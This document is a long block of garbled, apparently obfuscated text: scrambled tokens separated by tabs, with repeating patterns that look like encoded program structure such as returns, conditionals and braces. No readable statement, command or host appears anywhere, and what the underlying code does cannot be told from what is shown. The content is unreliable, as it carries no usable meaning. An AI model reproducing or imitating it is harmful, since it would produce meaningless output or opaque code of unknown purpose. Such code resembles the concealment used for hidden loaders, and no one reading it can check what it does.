@N[KMFGKOJZ L[GLAFES 		QQK  			[L]\[G					OHEZL#					@O	@N[KMFGKOJZ L[GLAFES			 							uQOuQK 			R##				DBA[[_v					i@N[KMFGKOJZ 					SPDBZLLFM] L[GLAFES	   #@O			@N[KMFGKOJZ DBA[[_v 			UU			DBA[[_vrt						 				UU	DBA[[_vrt			  	[L]\[G		OHEZL#					@O		SPDBZLLFM] KKAEPBMEYMGE   	L[GLAFES			iNSMLJFMLL[GLAFES			  #					LEZL@O	@N[KMFGKOJZ @N[KMFGKOJZ   		R#				L[GLAFES					iNS@GOEH]L@N[KMFGKOJZ L[GLAFES			 		KKAEPBMEYMGE L[GLAFES 		QQ  				  #					@O		KKAEPBMEYMGE L[GLAFES 							KKAEPBMEYMGE L[GLAFES 					QMKMQL  	[L]\[G	OHEZL##					T#	LEZL					[L]\[G				OHEZL###		T###						@O	@^v_XSYHPXKSN L[GLAFES 		UU				@^v_XSYHPXKSN L[GLAFES 									 				UU				SPDBZLLFM] L[GLAFES				QQ  			@^v_XSYHPXKSN 		UU						@N[KMFGKOJZ L[GLAFES 			OEKOHSDG@[Frt 		[L]\[G	OHEZL#		[L]\[G					L[GLAFES#			T#O\GJ]@FG	JJNHBSQDY@EDYHE\ ##		R#	~y	yFZ]	jFG]LG]	[LJ\[Z@_L	][\Z]HGJAF[##					][P		R#			@O				MLO@GLMKKAEPBMEYMGE   		[L]\[G#		D@F]YGZY				E@^NYDZ^vLY #			@O				iKKAEPBMEYMGE D@F]YGZYrt  			[L]\[G#@O			LPCKvDQ@B]HNXJD@F]YGZYrt 									OHEZL 		[L]\[G#				]KD]PF\EJY									GvOZDJCMQLYAvYLOKKAEPBMEYMGE 		H[[HPvvze|nvv 				H[[HP@^v_XSYHPXKSN [ZKLSD_ 	KKAEPBMEYMGE    #			@O		@N[KMFGKOJZ ]KD]PF\EJY 					UU		]KD]PF\EJY			 		[L]\[G#	]KD]PF\EJY					SPDBZLLFM] @^v_XSYHPXKSN 							]KD]PF\EJY J]ZJEJHAYZHDYZJ]ZJEJ#	@O					KKAEPBMEYMGE ]KD]PF\EJY 				UU	]KD]PF\EJY									 					[L]\[G#				C_MFC[]GPPG		^NKBHS]S^NFHGH^O] 								FZLYYKLLEQ[\Ahkzyh}a							@N[KMFGKOJZ 		  #Z[XDNv\XGSDB									KKAEPBMEYMGE 			C_MFC[]GPPG			KKAEPBMEYMGE #	DAGQ[H							@^v_XSYHPXKSN 		C_MFC[]GPPG		@^v_XSYHPXKSN #	_BSvXZ[												SPDBZLLFM] 											D@F]YGZYrt							KKAEPBMEYMGE 				^NKBHS]S^NFHGH^O] 							SPDBZLLFM] 						uG				]KD]PF\EJY#@O	iKKAEPBMEYMGE D@F]YGZYrt  						R#	@O		GJvF\F]HHS@D@F]YGZYrt	  					R#	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	@N[KMFGKOJZ  #		[L]\[G#			T##		@O				ZKXOKS\JGG_ZQC@QYD@F]YGZYrt					_BSvXZ[  	R#	JBA\G@vQJPN]M]D@F]YGZYrt	^ASQ\PAL\@O  ####		XX]L[vEYC^\OZSZ_@JLD@F]YGZYrt	  #EHOBPA]OAvHD@F]YGZYrt #T#		[L]\[G#							T##						XX\\OvB								iKKAEPBMEYMGE D@F]YGZYrt ###	@O			KKAEPBMEYMGE XX\\OvB 	UU		@^v_XSYHPXKSN XX\\OvB 							  	[L]\[G##@O		@N[KMFGKOJZ XX\\OvB			Z[XDNv\XGSDB 						OHEZL						@N[KMFGKOJZ XX\\OvB	DAGQ[H 				OHEZL 	[L]\[G#			@O				@N[KMFGKOJZ XX\\OvB				@^v_XSYHPXKSN  							OHEZL						KKAEPBMEYMGE XX\\OvB		SPDBZLLFM] 				D@F]YGZYrt 				OHEZL 	R####				@O				SPDBZLLFM] SPDBZLLFM] 				@N[KMFGKOJZ XX\\OvB							  	@Q[C@MCQN 			_L[Z@FGvJFDYH[L@Q[C@MCQNrt	^NKBHS]S^NFHGH^O] 		@N[KMFGKOJZ   	[L]\[G###	@O					GJvF\F]HHS@D@F]YGZYrt			XX\\OvB  				R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 		KKAEPBMEYMGE  #	[L]\[G#	T#	iZYLJ\EH]L	HEL[]##		@O		ZKXOKS\JGG_ZQC@QYD@F]YGZYrt		_BSvXZ[  	R#JBA\G@vQJPN]M]D@F]YGZYrt		^ASQ\PAL\@O  #XX]L[vEYC^\OZSZ_@JLD@F]YGZYrt		  ###	EHOBPA]OAvHD@F]YGZYrt #	T#						[L]\[G###		T#	FSQB@						FZLYYKLLEQ[\Ahkzyh}a						@N[KMFGKOJZ 	  #	XX\\OvB						KKAEPBMEYMGE @^v_XSYHPXKSN 			FSQB@						SPDBZLLFM] 			XX\\OvB #					@O			@N[KMFGKOJZ XX\\OvB  		R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 						@N[KMFGKOJZ  #		[L]\[G###T###	@O					i@^v_XSYHPXKSN D@F]YGZYrt  	[L]\[G#		@O				]ANZv@ZAOSOOASG@^v_XSYHPXKSN   		R#FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			KKAEPBMEYMGE  ####			[L]\[G###	T#@O			GJvF\F]HHS@D@F]YGZYrt					XX\\OvB  		R#FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 			@N[KMFGKOJZ  #							[L]\[G#					T####		JXQ_LD_PNY^S@@C[@N[KMFGKOJZ  #		O_OYMHM_DL			Z[XDNv\XGSDB						uG			SPDBZLLFM] 						D@F]YGZYrt				KKAEPBMEYMGE 							uG								]KD]PF\EJY					uG				DAGQ[H#								ZKXOKS\JGG_ZQC@QYD@F]YGZYrt				LEMDD@YOvY[YXX\\OvB			O_OYMHM_DL  #T	JH]JA		}A[F^HKEL		E]GYK]v 		R#FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 					E]GYK]v #	T		JH]JA	lQJLY]@FG		E]GYK]v 		R#		T#					T#O\GJ]@FG				K@@CCXBOBDGFJY #	R#	JFDY\]HKEL	H\]AF[@]P##			][P		R####	@O		MLO@GLM@^v_XSYHPXKSN   						[L]\[G#							D@F]YGZY				E@^NYDZ^vLY #			CZKHHA@XFEX\J						Z][@GN 			iKKAEPBMEYMGE D@F]YGZYrt		OHEZL			G\EE					  #					@O			KKAEPBMEYMGE KKAEPBMEYMGE 	CZKHHA@XFEX\J			_CZDGOY 				_CZDGOYrt							^NKBHS]S^NFHGH^O]  				R#				O@OJ\vXMO						@G] 	NL]vFY]@FGKKAEPBMEYMGE 		 #@O				@N[KMFGKOJZ  								O@OJ\vXMO				  			[L]\[G###					@O			LPCKvDQ@B]HNXJD@F]YGZYrt 				OHEZL 	R#			i\YMH]LvFY]@FGSPDBZLLFM] 				@^v_XSYHPXKSN  			SPDBZLLFM]  #	[L]\[G#T#		FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 				KKAEPBMEYMGE  #T#						YEA^CJENGPQ							LSQQPGQ_@[D^ ###@O					YEA^CJENGPQ			UU		@N[KMFGKOJZ YEA^CJENGPQ 					 				UU		@N[KMFGKOJZ YEA^CJENGPQ 				 			UU		_SMG[M@XJvKJSK\YEA^CJENGPQ  		[L]\[G#	@XCSDDO\O							@^v_XSYHPXKSN @N[KMFGKOJZ  			iNSLGJFMLYEA^CJENGPQ	w  						YEA^CJENGPQ###@O		@N[KMFGKOJZ @XCSDDO\O 				UU		@XCSDDO\O						 		[L]\[G#			@O		ZKXOKS\JGG_ZQC@QYD@F]YGZYrt				KKAEPBMEYMGE 				^NKBHS]S^NFHGH^O] 														@^v_XSYHPXKSN YEA^CJENGPQ 										@^v_XSYHPXKSN @XCSDDO\O   					i\YMH]LvFY]@FGKKAEPBMEYMGE 				SPDBZLLFM]  	KKAEPBMEYMGE  #		T	JH]JA		}A[F^HKEL		E]GYK]v 	R#	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 					E]GYK]v #		T		JH]JA		lQJLY]@FG					E]GYK]v 		R#T#	~y	}HKEL	kEFJB	LQY@[L	HEL[]##					T#				O\GJ]@FG						[HB[vv^K\Q_OE\F #						R##					@O						KKAEPBMEYMGE @N[KMFGKOJZ   		[L]\[G	OHEZL##			^QLC^DSQ				MLO@GLM@^v_XSYHPXKSN  				i@^v_XSYHPXKSN hkzyh}a						@N[KMFGKOJZ  						hkzyh}a		@^v_XSYHPXKSN 				vvo`elvv#		[L]\[G			@^v_XSYHPXKSN ^QLC^DSQ					Z #		T#	O\GJ]@FG			ZMGQBB[BS[[XJNvZ #				R#		][P			R#		@O			KKAEPBMEYMGE @N[KMFGKOJZ  	UU				@N[KMFGKOJZ @^v_XSYHPXKSN   			[L]\[G#				@O				MLO@GLMSPDBZLLFM]   		[L]\[G#YEA^CJENGPQ			LSQQPGQ_@[D^ #							@O			YEA^CJENGPQ	UU		KKAEPBMEYMGE YEA^CJENGPQ 							  		[L]\[G#	BLP						[HB[vv^K\Q_OE\F #@O				BLP		OHEZL 		[L]\[G#		LYB[]L^EEBPXZ			@^v_XSYHPXKSN @N[KMFGKOJZ  				@^v_XSYHPXKSN @^v_XSYHPXKSN 		YEA^CJENGPQ 					SPDBZLLFM] YEA^CJENGPQ #			vNDDQANQAC]^F				@N[KMFGKOJZ 							@N[KMFGKOJZ YEA^CJENGPQ 										LYB[]L^EEBPXZ		uG					YEA^CJENGPQ#			]@_QGLvJ							@N[KMFGKOJZ vNDDQANQAC]^F #		_Zv_HGPHQK			i@N[KMFGKOJZ BLP	H								 #	@O				_Zv_HGPHQK 		R#E@]QKC^^											@G] 		i@N[KMFGKOJZ _Zv_HGPHQK #		\[F_\MA^A]					i@^v_XSYHPXKSN _Zv_HGPHQK						E@]QKC^^ ##					@O						@^v_XSYHPXKSN \[F_\MA^A] 									SPDBZLLFM] \[F_\MA^A]				YEA^CJENGPQ 							OHEZL 				R#				i@^v_XSYHPXKSN _Zv_HGPHQK #				[L]\[G#	T#	MLY[F_@Z@FG	JF\G]HKEL	JFDDHGM##		@O		E@]QKC^^					]@_QGLvJ 	R##	i@N[KMFGKOJZ _Zv_HGPHQK #	_Zv_HGPHQK				iKKAEPBMEYMGE BLP			^										 ##				@O		_Zv_HGPHQK 				R#		i@^v_XSYHPXKSN _Zv_HGPHQK					KKAEPBMEYMGE vNDDQANQAC]^F	E@]QKC^^					u 					 ###			DKA@P^^vC								i@^v_XSYHPXKSN _Zv_HGPHQK				]@_QGLvJ #	i@^v_XSYHPXKSN _Zv_HGPHQK #					@O		DKA@P^^vC		vNDDQANQAC]^F 	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	KKAEPBMEYMGE  YQBXN^Y]MCZ\OZYFYQBXN^Y]MC YQBXN^Y]MCYQBXN^Y]MC#T#	[L]\[G#T		LEZL		R#	i@N[KMFGKOJZ _Zv_HGPHQK ##iKKAEPBMEYMGE _Zv_HGPHQK #				T#					T#	E@]QKC^^			]@_QGLvJ				 #	_Zv_HGPHQK				i@^v_XSYHPXKSN BLP	J		 		E@]QKC^^ #	@O				_Zv_HGPHQK 		[L]\[G##i@N[KMFGKOJZ _Zv_HGPHQK			KKAEPBMEYMGE vNDDQANQAC]^F				E@]QKC^^				u 					 #	DKA@P^^vC						iSPDBZLLFM] _Zv_HGPHQK					]@_QGLvJ #@O				DKA@P^^vC		vNDDQANQAC]^F 	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			KKAEPBMEYMGE  ###i@N[KMFGKOJZ _Zv_HGPHQK ##				T			JH]JA			}A[F^HKEL				E]GYK]v 		R#	~y	zJ[@Y]	dFM\ELZ	ML_@[]\HE@SL	Z][H]LNP##	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #	T		JH]JA	lQJLY]@FG			E]GYK]v 		RZGSDvGUXL]Av[^Z]ZGSDvGw#							T#T#			O\GJ]@FG			LEMDD@YOvY[YJ\[[LG]		O_OYMHM_DL #		R#	[F]H]L	Y@YLE@GL	OF[	~y	yFZ]	}L[DZ##							@O						@^v_XSYHPXKSN J\[[LG] 			UU				J\[[LG]		 		[L]\[G				KKAEPBMEYMGE 							O_OYMHM_DL			uG#@O		@^v_XSYHPXKSN @N[KMFGKOJZ 	J\[[LG]	KFXBHS		y{lnvfoozl}vjhy}|{l  				R#	i[LJEH@D	][\Z]HGJAF[####	GJJOO\BSZS					KFXBHSrtrt		@^v_XSYHPXKSN KFXBHSrtrt FGNFE]CH]HOFYJDZHZNFGNFE]C###ENH\MG					@^v_XSYHPXKSN J\[[LG]	GJJOO\BSZS	  #^A@EL			KKAEPBMEYMGE ENH\MG 							KKAEPBMEYMGE @^v_XSYHPXKSN 	ENH\MG	vMD  	R#			GJJOO\BSZS								@N[KMFGKOJZ vMDrt #ENH\MG						KKAEPBMEYMGE J\[[LG]					GJJOO\BSZS		  ####T#[L]\[G				KKAEPBMEYMGE J\[[LG]						GJJOO\BSZS 				uG		O_OYMHM_DL			uG				@^v_XSYHPXKSN J\[[LG]	GJJOO\BSZS ###					T#[L]\[G					@N[KMFGKOJZ 							O_OYMHM_DL					uGuG			J\[[LG]##			T#	O\GJ]@FG	]ANZv@ZAOSOOASGBLP ####						R#@O			@N[KMFGKOJZ KKAEPBMEYMGE   			[L]\[G		][\L#_BvQP[N^E								iNL]vFY]@FGSPDBZLLFM] 				BLP				 #							@O		@^v_XSYHPXKSN _BvQP[N^E 		SPDBZLLFM] _BvQP[N^E		U 					OHEZL 	R#	OEKOHSDG@[F				@^v_XSYHPXKSN U	_BvQP[N^E	 #@O			@G] 		OEKOHSDG@[Frt					@G] 			@N[KMFGKOJZ  						  					@G] 	OEKOHSDG@[Frt							QQ  						[L]\[G		OHEZL#			T#[L]\[G			][\L#			T#	O\GJ]@FG			JXQ_LD_PNY^S@@C[BLP ###			R#	~y	oF[DH]]@GN	hy`	Z@]L	DL]H####	@O	SPDBZLLFM] SPDBZLLFM]  		UU				@N[KMFGKOJZ KKAEPBMEYMGE   			[L]\[G##M^B@XSZE			@G] 			@N[KMFGKOJZ  						  #	_BvQP[N^E						iNL]vFY]@FG@N[KMFGKOJZ 											BLP	 #	DCD[LZ@BKN\_		#@O	@^v_XSYHPXKSN _BvQP[N^E 		@N[KMFGKOJZ _BvQP[N^E	U 			OHEZL 				R###OEKOHSDG@[F								KKAEPBMEYMGE U		_BvQP[N^E			 #@O			@G] 				OEKOHSDG@[Frt			M^B@XSZE 	DCD[LZ@BKN\_										@G] 	OEKOHSDG@[Frt#			T####					DCD[LZ@BKN\_#		i\YMH]LvFY]@FG@^v_XSYHPXKSN 						BLP	M^B@XSZE					U						DCD[LZ@BKN\_	SPDBZLLFM]  ###	@O		DCD[LZ@BKN\_									  		FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 	KKAEPBMEYMGE 						BLP #T#	O\GJ]@FG						\v\PN[@SA@L ###		R####				][P	R###		@O	MLO@GLM@^v_XSYHPXKSN   	[L]\[G#@O		MLO@GLMSPDBZLLFM]  	UU	i@^v_XSYHPXKSN ~yvjfg}lg}vm`{ 				UU			F[B@AKAZDADv]AS~yvjfg}lg}vm`{  		[L]\[G###				_ONSMO							~yvjfg}lg}vm`{#				_^XJ]vAC[		_ONSMO					@^v_XSYHPXKSN #						M_XXHYC^C_SP				@N[KMFGKOJZ [ZKLSD_ 			@N[KMFGKOJZ  #	XONOYOA[[				FZLYYKLLEQ[\Ahkzyh}a						@N[KMFGKOJZ 		  			KKAEPBMEYMGE #		LCB\LSHJLG[O				^D]]OFPX_KGKN@ ###	XZ^\@KJE^					FZLYYKLLEQ[\Ahkzyh}a			SPDBZLLFM] 		QQ  ##	FBHZM\_^QA							KKAEPBMEYMGE KKAEPBMEYMGE  			[HB[vv^K\Q_OE\F 						OHEZL#	FJXHO_S			FBHZM\_^QA				OHEZL		SPDBZLLFM] FBHZM\_^QA 							#E\_]Ovv							@ZZL]nefkhezr@^v_XSYHPXKSN tY[LO@Q 						nefkhezr@N[KMFGKOJZ tY[LO@Q						@N[KMFGKOJZ #JS[LNF[N[E					@N[KMFGKOJZ 			KKAEPBMEYMGE SPDBZLLFM] M_XXHYC^C_SP		Z][@GN 	Y[CQSEMDC_  								QQ  #	P_MP]@Q]GHNCO				GvOZDJCMQLYAvYLO###					KKAEPBMEYMGE #	H[[HPvvze|nvv	vvs`yvghdlvv						vvzadfyvblpvv	vvfy}vghdlvv	vv~yvy{lo`qvv	vvn|h{mvghdlvv	vvl{z`fgvv #H[[HPM_XXHYC^C_SP			XONOYOA[[			FJXHO_S			XZ^\@KJE^			E\_]Ovv				JS[LNF[N[E		^NKBHS]S^NFHGH^O]  #				 #				@O		P_MP]@Q]GHNCO 			R##						@O			@G] 					NL]vFY]@FG@^v_XSYHPXKSN 			 				 	FBQKvM[JB\ZMHPE\SPDBZLLFM] 						@N[KMFGKOJZ  ##	[L]\[G#			T#	J\[[LG]						i@N[KMFGKOJZ _^XJ]vAC[ 		i@N[KMFGKOJZ _^XJ]vAC[ 				####		@O		@^v_XSYHPXKSN J\[[LG]  		R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 				@N[KMFGKOJZ  #	[L]\[G#	T#	J\[[LG]										C^v@Z@\@ACBCLJ\[[LG] ####C_MFC[]GPPG					^NKBHS]S^NFHGH^O] 																		FZLYYKLLEQ[\Ahkzyh}a					KKAEPBMEYMGE 				  #	Z[XDNv\XGSDB			KKAEPBMEYMGE 								C_MFC[]GPPG				@^v_XSYHPXKSN #	DAGQ[H			@^v_XSYHPXKSN 				C_MFC[]GPPG			KKAEPBMEYMGE #			JSL\OvQXSG			FZLYYKLLEQ[\Ahkzyh}a						SPDBZLLFM] 			w  #								\_PBJLHGSJ_^C@		SPDBZLLFM] @^v_XSYHPXKSN 						JSL\OvQXSG					KKAEPBMEYMGE 			J\[[LG] #	\GPCXKOECX				KKAEPBMEYMGE \_PBJLHGSJ_^C@			@N[KMFGKOJZ  					OHEZL #@O	@^v_XSYHPXKSN J\[[LG]		Z[XDNv\XGSDB 					OHEZL						@N[KMFGKOJZ J\[[LG]			DAGQ[H 				OHEZL							\GPCXKOECX 				R#SJQHNAP_F@EL #	[L]\[G#		T###				J\[[LG]				KKAEPBMEYMGE @N[KMFGKOJZ 						\_PBJLHGSJ_^C@ #							@O		SPDBZLLFM] J\[[LG]  		R#	@G]L[ELH_L	EHGLZ#LD\[HJ@BBNF^EFLD\[HJ@BB#		FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	@N[KMFGKOJZ  ##				[L]\[G###	T	R#	J\[[LG]						C^v@Z@\@ACBCLJ\[[LG] #[JL@vvPP				SPDBZLLFM] KKAEPBMEYMGE 						P_MP]@Q]GHNCO ##		L^HXYYXZ_MFvPO_			@^v_XSYHPXKSN J\[[LG] 							 #	@O		L^HXYYXZ_MFvPO_ 	R##@O			]ANZv@ZAOSOOASG@N[KMFGKOJZ   		R#FBQKvM[JB\ZMHPE\SPDBZLLFM] 		@^v_XSYHPXKSN  #	[L]\[G#			T#	@O		GJvF\F]HHS@_^XJ]vAC[		J\[[LG]  			R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 		@^v_XSYHPXKSN  #[L]\[G#					T####						JXQ_LD_PNY^S@@C[@N[KMFGKOJZ  #	T		LEZL		R#		@O			GJvF\F]HHS@_^XJ]vAC[	  		R#		FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		@N[KMFGKOJZ  #		[L]\[G#				T#					T#	_N@]LYAZvQA			LEMDD@YOvY[YJ\[[LG]				Z[XDNv\XGSDB						uG		[JL@vvPP			uG			DAGQ[H #		@O	ZKXOKS\JGG_ZQC@QY_^XJ]vAC[					_N@]LYAZvQA  				R#	[L]\[G#				T#	@O			L^HXYYXZ_MFvPO_ 	EHOBPA]OAvH_^XJ]vAC[ #						SJQHNAP_F@EL #	T#		T		JH]JA		}A[F^HKEL		E]GYK]v 		R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 			E]GYK]v #	T	JH]JA	lQJLY]@FG					E]GYK]v 	R#								T#							T###	O\GJ]@FG			ECC[HKED^G[NEKXK #				R####					][P				R#	~y	yFZ]	jFG]LG]	[L^[@]L	OE\ZA##		@O		MLO@GLM@^v_XSYHPXKSN   			[L]\[G#		@O	SDLMOCK_]JSDN^[ZKLSD_   	[L]\[G#								@O			KKAEPBMEYMGE KKAEPBMEYMGE   				[L]\[G#@O		@^v_XSYHPXKSN  							SPDBZLLFM]  				[L]\[G#				@O	@ZZL]vzl{l{r@^v_XSYHPXKSN t  	[L]\[G#				@O	NL]v][HGZ@LG]SPDBZLLFM]   						[L]\[G#				v@BHFEOS				^D]]OFPX_KGKN@ ###		@O	iKKAEPBMEYMGE v@BHFEOS  			vGQBQZEPNCOHHMv@BHFEOS	 			][\L #@O			i@N[KMFGKOJZ v@BHFEOS 						UU				i@N[KMFGKOJZ v@BHFEOS  		R#						v@BHFEOS				hkzyh}a			SPDBZLLFM] ####			@O				iKKAEPBMEYMGE v@BHFEOS  		v@BHFEOS				\PMXQZ\DMJ_]\OH #				####T#DQ@MHONX_										FZLYYKLLEQ[\Ahkzyh}a							N				QQ  #							^EL_LBBHP@									SPDBZLLFM] 				DQ@MHONX_							SPDBZLLFM] #Z@AZQHMK		v@BHFEOS																	^EL_LBBHP@#	~y	{LM\Q	z]F[L	M@HNGFZ]@J	AHGMZAHBL##					_LSEJ\Y[						v@BHFEOS				KKAEPBMEYMGE 					DQ@MHONX_#	OF[LHJA	H[[HPv@BHFEOS						hkzyh}a				@N[KMFGKOJZ 					\PMXQZ\DMJ_]\OH  	HZ	QBCAHOHF^BH 				R#	@MQ^@^@ZZBX								QBCAHOHF^BH			@N[KMFGKOJZ 												DQ@MHONX_###@O	i@^v_XSYHPXKSN @MQ^@^@ZZBX  	R#F]\CQ@MOPP[P					@G] 				iSPDBZLLFM] @MQ^@^@ZZBX #			@O		F]\CQ@MOPP[P								SPDBZLLFM]  								 			UU			F]\CQ@MOPP[P				KKAEPBMEYMGE  			  		R###		@PE[Z\[XJ_PLXG@MQ^@^@ZZBX #	JFG]@G\LO_[_SEDMMG[L@XXD^JO_[_SEDMMG#	T#	[LN@Z]L[	HEEFJH]@FG##			@O			iSPDBZLLFM] QBCAHOHF^BH		@N[KMFGKOJZ 			DQ@MHONX_				SPDBZLLFM]   		[L]\[G#				@PE[Z\[XJ_PLXG@MQ^@^@ZZBX ####			T#				T#	\GZL]QBCAHOHF^BH		@MQ^@^@ZZBX						F]\CQ@MOPP[P #	##							MJv]GKB[FXPF					hkzyh}a		KKAEPBMEYMGE 					^EL_LBBHP@#		@O					v@BHFEOS								hkzyh}a								@^v_XSYHPXKSN 					i@^v_XSYHPXKSN MJv]GKB[FXPF 						\ZNQXBNHJLN[YPCN@NEMJv]GKB[FXPF 				OHEZL 		R#			XX]L[vEYC^\OZSZ_@JLMJv]GKB[FXPF					QQL  ###		@O		@PE[Z\[XJ_PLXGMJv]GKB[FXPF 				@N[KMFGKOJZ SPDBZLLFM]   			iFYJHJALv@G_HE@MH]LMJv]GKB[FXPF				][\L #T#\GZL]MJv]GKB[FXPF ###			@O		i@N[KMFGKOJZ _LSEJ\Y[ 					@G] 		i@N[KMFGKOJZ _LSEJ\Y[ 			KKAEPBMEYMGE  					QMQL  				[L]\[G#				@O				iKKAEPBMEYMGE Z@AZQHMK 						SPDBZLLFM]  			@G] 		iO@ELJ]@DLZ@AZQHMK  							QLQJ  			[L]\[G###		@O	i@N[KMFGKOJZ Z@AZQHMK  		R#		OSvCD[D@_HXQ\J			iKKAEPBMEYMGE v@BHFEOS				@N[KMFGKOJZ 				DQ@MHONX_ 					KKAEPBMEYMGE Z][@GN 	iSPDBZLLFM] v@BHFEOS					@N[KMFGKOJZ 				DQ@MHONX_  					#							@O					OSvCD[D@_HXQ\J								@N[KMFGKOJZ KKAEPBMEYMGE 					OSvCD[D@_HXQ\J 			_L[Z@FGvJFDYH[LOSvCD[D@_HXQ\J		^NKBHS]S^NFHGH^O] 				  	[L]\[G#\GZL]OSvCD[D@_HXQ\J #T##			@O				iSPDBZLLFM] Z@AZQHMK  			R#JvP@]JM			v@BHFEOS			@N[KMFGKOJZ 			FZLYYKLLEQ[\Ahkzyh}a								N		QQ  ###								X_APA[KC^XS					iKKAEPBMEYMGE JvP@]JM 			Z][@GN 	i@N[KMFGKOJZ JvP@]JM 									#					QZJ_FP_H^					^GCBNNBYQLQO BSQ^YAFLCE^GCBNNBY#				@O	X_APA[KC^XS						 				R##FFC\\PDZ					@N[KMFGKOJZ U			X_APA[KC^XS ###			QZJ_FP_H^					@G] 		FFC\\PDZrt#			T#		@O			QZJ_FP_H^							KKAEPBMEYMGE  		QZJ_FP_H^			  						FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 						@^v_XSYHPXKSN  #			LEZL@O		QZJ_FP_H^									SPDBZLLFM]  									@G] 	iO@ELJ]@DLZ@AZQHMK  							  			FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 			KKAEPBMEYMGE  #		\GZL]JvP@]JM						X_APA[KC^XS	FFC\\PDZ	QZJ_FP_H^ ###T#YEA^CJENGPQ			LSQQPGQ_@[D^ #								@O			YEA^CJENGPQ	UU		KKAEPBMEYMGE YEA^CJENGPQ 						QOHQOH  		[L]\[G#							SNEOHKH^vJAY			Q]H[ENCXS]X^Z@] #					M_XXHYC^C_SP							KKAEPBMEYMGE [ZKLSD_ 		@N[KMFGKOJZ  #LLNM_ZDJA@QKC						\PMXQZ\DMJ_]\OH 								@N[KMFGKOJZ #			__^HHM\YN^K_B				i@^v_XSYHPXKSN LLNM_ZDJA@QKC #									LLNM_ZDJA@QKC									M_XXHYC^C_SP							KKAEPBMEYMGE  ###					\PMXQZ\DMJ_]\OH 					SPDBZLLFM] 									M_XXHYC^C_SP												M_XXHYC^C_SP			KKAEPBMEYMGE  ##				S[MHDH@GS\XFE										SPDBZLLFM] KKAEPBMEYMGE  			@^v_XSYHPXKSN AFDLv\[E 		yayv|{evafz} 			@ZZL]vzl{l{r@^v_XSYHPXKSN t 						vzl{l{rKKAEPBMEYMGE t			 #^@O_ONPYFv							MLO@GLM@N[KMFGKOJZ  					~yd|vye|n`gvm`{ 						~yd|vye|n`gvm`{						\PMXQZ\DMJ_]\OH 		@^v_XSYHPXKSN ####	P\YGYL			MLO@GLM@^v_XSYHPXKSN  					~yvye|n`gvm`{ 					~yvye|n`gvm`{			\PMXQZ\DMJ_]\OH 								@N[KMFGKOJZ #				HMG[N_								MLO@GLM@^v_XSYHPXKSN  			~yvjfg}lg}vm`{						\PMXQZ\DMJ_]\OH #						FXv@]YSDS[							GvOZDJCMQLYAvYLO##			SPDBZLLFM] #H[[HPvvyh}avkvv				vvye|n`gvkhzlvv		vvmfdh`gvv			vvakvkvv		vvnyh}avkvv	vvhkzyh}avkvv			vvjfg}lg}m`{vkvv				vvd|m`{vkvv		vvye|n`gm`{vkvv			vvze|nvv				vvl{z`fgvv #		H[[HPKKAEPBMEYMGE __^HHM\YN^K_B 			SNEOHKH^vJAY	S[MHDH@GS\XFE	KKAEPBMEYMGE _LSEJ\Y[ 		@^v_XSYHPXKSN Z@AZQHMK 	@N[KMFGKOJZ hkzyh}a 	@^v_XSYHPXKSN HMG[N_ 						@N[KMFGKOJZ ^@O_ONPYFv 	@N[KMFGKOJZ P\YGYL 	SPDBZLLFM] [ZKLSD_ 				@^v_XSYHPXKSN  		^NKBHS]S^NFHGH^O]  #	 #		@O			FXv@]YSDS[ 		R#				@O			@G] 			NL]vFY]@FGSPDBZLLFM] 			 							 	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	@N[KMFGKOJZ  #		[L]\[G#T#		@O	_SMG[M@XJvKJSK\FXv@]YSDS[  				R#	JFDYHJ]	[LN@Z][P	##		FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 			@^v_XSYHPXKSN  #[L]\[G#								T#	@O	ZKXOKS\JGG_ZQC@QYZ@AZQHMK				FXv@]YSDS[  		R#		JBA\G@vQJPN]M]Z@AZQHMK						^ASQ\PAL\@O  #XX]L[vEYC^\OZSZ_@JLZ@AZQHMK					QHQH  #		EHOBPA]OAvHZ@AZQHMK ##		]CMKXXQK@G\FHv@BHFEOS					KKAEPBMEYMGE 				DQ@MHONX_			KKAEPBMEYMGE FXv@]YSDS[ 	@^v_XSYHPXKSN  ####]CMKXXQK@G\FHv@BHFEOS		KKAEPBMEYMGE 							DQ@MHONX_			^NKBHS]S^NFHGH^O] 	SPDBZLLFM]  LZCJ_\D_^LMMLZCJ_\D#			i@GJE\MLvFGJL	Z@AZQHMK#	ZL]v][HGZ@LG]@N[KMFGKOJZ 				  ####	T###\GZL]^@O_ONPYFv				P\YGYL			HMG[N_ #		T		JH]JA	}A[F^HKEL	E]GYK]v 		R#	FBQKvM[JB\ZMHPE\SPDBZLLFM] 			E]GYK]v #				T		JH]JA		lQJLY]@FG	E]GYK]v 					R##				T#	\G[LHJAHKEL##		T#O\GJ]@FG		K[N[JPDKAX]LS^\QYANGZLv ###					RQOHGZQQL KMLDXMQ@\LvvQOHGZ#	@O		@N[KMFGKOJZ ^\QYANGZLv  	[L]\[G	OHEZL###					@EAPNYJGGMP			SPDBZLLFM] ^\QYANGZLv #@O		@EAPNYJGGMP			  	[L]\[G	][\L#	@O		@EAPNYJGGMP					  				[L]\[G				OHEZL#		F^^FKZENAZ][			@^v_XSYHPXKSN ^\QYANGZLv					  #	ASYN[XFDS@EK				@N[KMFGKOJZ F^^FKZENAZ][			 				@^v_XSYHPXKSN F^^FKZENAZ][				u] #[L]\[G	ASYN[XFDS@EK		SPDBZLLFM] F^^FKZENAZ][  				#T#			O\GJ]@FG	LSQQPGQ_@[D^FG\JGKOD					OHEZL #R#						Z]H]@J						YEA^CJENGPQ						